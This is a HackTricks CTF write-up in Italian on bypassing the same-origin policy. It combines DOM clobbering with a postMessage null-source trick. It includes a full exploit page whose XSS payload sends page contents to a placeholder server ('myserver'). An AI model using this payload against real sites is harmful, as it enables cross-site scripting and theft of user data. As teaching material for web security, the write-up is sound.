Bypassing SOP with Iframes - 2

Support HackTricks

Iframes in SOP-2

Nella soluzione per questa sfida, @Strellic_ propone un metodo simile alla sezione precedente. Controlliamolo.

In questa sfida, l'attaccante deve bypassare questo:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Se lo fa, può inviare un postmessage con contenuto HTML che verrà scritto nella pagina con innerHTML senza sanificazione (XSS).

Il modo per bypassare il primo controllo è rendere window.calc.contentWindow undefined e e.source null:

  • window.calc.contentWindow è in realtà document.getElementById("calc"). Puoi sovrascrivere document.getElementById con <img name=getElementById /> (nota che l'API Sanitizer -qui- non è configurata per proteggere contro attacchi di DOM clobbering nel suo stato predefinito).

  • Pertanto, puoi sovrascrivere document.getElementById("calc") con <img name=getElementById /><div id=calc></div>. Quindi, window.calc sarà undefined.

  • Ora, abbiamo bisogno che e.source sia undefined o null (perché == è usato invece di ===, null == undefined è True). Ottenere questo è "facile". Se crei un iframe e invi un postMessage da esso e immediatamente rimuovi l'iframe, e.origin sarà null. Controlla il seguente codice

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

Per bypassare il secondo controllo riguardo al token, si invia token con valore null e si rende il valore di window.token undefined:

  • Inviare token nel postMessage con valore null è banale.

  • window.token nella chiamata della funzione getCookie che utilizza document.cookie. Si noti che qualsiasi accesso a document.cookie in pagine di origine null genera un errore. Questo farà sì che window.token abbia valore undefined.

La soluzione finale di @terjanq è il seguente:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
Supporta HackTricks

Last updated